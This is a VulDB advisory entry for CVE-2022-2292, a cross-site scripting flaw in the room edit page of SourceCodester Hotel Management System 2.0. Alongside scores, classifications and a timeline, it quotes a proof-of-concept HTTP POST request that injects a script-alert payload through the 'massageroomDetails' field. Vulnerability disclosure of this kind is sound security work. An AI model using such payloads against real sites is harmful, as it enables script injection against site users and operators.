



VDB-203166 · CVE-2022-2292

# SOURCECODESTER HOTEL MANAGEMENT SYSTEM 2.0 ROOM EDIT PAGE 1 MASSAGEROOMDETAILS CROSS SITE SCRIPTING

CVSS Meta Temp Score ?

4.0

Current Exploit Price (≈) ?

\$0-\$5k

CTI Interest Score ?

0.10

A vulnerability classified as problematic has been found in SourceCodester Hotel Management System 2.0 (Hospitality Software). Affected is an unknown code block of the file `/ci_hms/message_room/edit/1` of the component *Room Edit Page*. The manipulation of the argument `massageroomDetails` with the input value `"><script>alert("XSS")</script>"` leads to a cross site scripting vulnerability. CWE is classifying the issue as CWE-79. The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. This is going to have an impact on integrity.

The weakness was released 07/03/2022. The advisory is available at [github.com](https://github.com). This vulnerability is traded as CVE-2022-2292. Successful exploitation requires user interaction by the victim. Technical details and a public exploit are known. This vulnerability is assigned to T1059.007 by the MITRE ATT&CK project.

It is declared as proof-of-concept. The exploit is shared for download at [github.com](https://github.com). The code used by the exploit is:

```
POST /ci_hms/message_room/edit/1 HTTP/1.1
Host: localhost
Content-Length: 147
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/ci_hms/message_room/edit/1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
```

Cookie: ci\_session=hdp38os27cr15o0pejuev0b32sctp0pv

Connection: close

messageroomOpenTime=11%3A00&messageroomCloseTime=18%3A00&messageroomDetails=%60%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%60%09%09%09%09

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

## Product

### Type

- Hospitality Software

### Vendor

- SourceCodester

### Name

- Hotel Management System

## CPE 2.3

- 

## CPE 2.2

- 

## CVSSv3

VulDB Meta Base Score: 4.1

VulDB Meta Temp Score: 4.0

VulDB Base Score: 3.5

VulDB Temp Score: 3.2


VulDB Vector: 

VulDB Reliability: 

NVD Base Score: 5.4

NVD Vector: 

CNA Base Score: 3.5

CNA Vector (VulDB): 

CNA Vector

CVSSv2



VulDB Base Score:

VulDB Temp Score:

VulDB Reliability:

NVD Base Score:

Exploiting

Class: Cross site scripting

CWE: CWE-79 / CWE-74 / CWE-707

ATT&CK: T1059.007

Local: No

Remote: Yes

Availability:

Access: Public

Status: Proof-of-Concept

Download:

EPSS Score:

EPSS Percentile:

Price Prediction:

Current Price Estimation:

Threat Intelligence

Interest:

Active Actors: 🔍

Active APT Groups: 🔍

## Countermeasures

Recommended: no mitigation known

Status: 🔍

0-Day Time: 🗝

## Timeline

07/03/2022		Advisory disclosed
07/03/2022	+0 days	CVE reserved
07/03/2022	+0 days	VulDB entry created
07/18/2022	+15 days	VulDB last update

## Sources

Advisory: github.com

Status: Not defined

CVE: CVE-2022-2292 (🗝)

scip Labs: <https://www.scip.ch/en/?labs.20161013>

## Entry

Created: 07/03/2022 12:03 PM

Updated: 07/18/2022 01:53 PM

Changes: 07/03/2022 12:03 PM (43), 07/03/2022 12:04 PM (2), 07/18/2022 01:48 PM (2), 07/18/2022 01:53 PM (28)

Complete: 🔍

Submitter: cyberthoth

## Discussion

No comments yet. Languages: en.

Please log in to comment.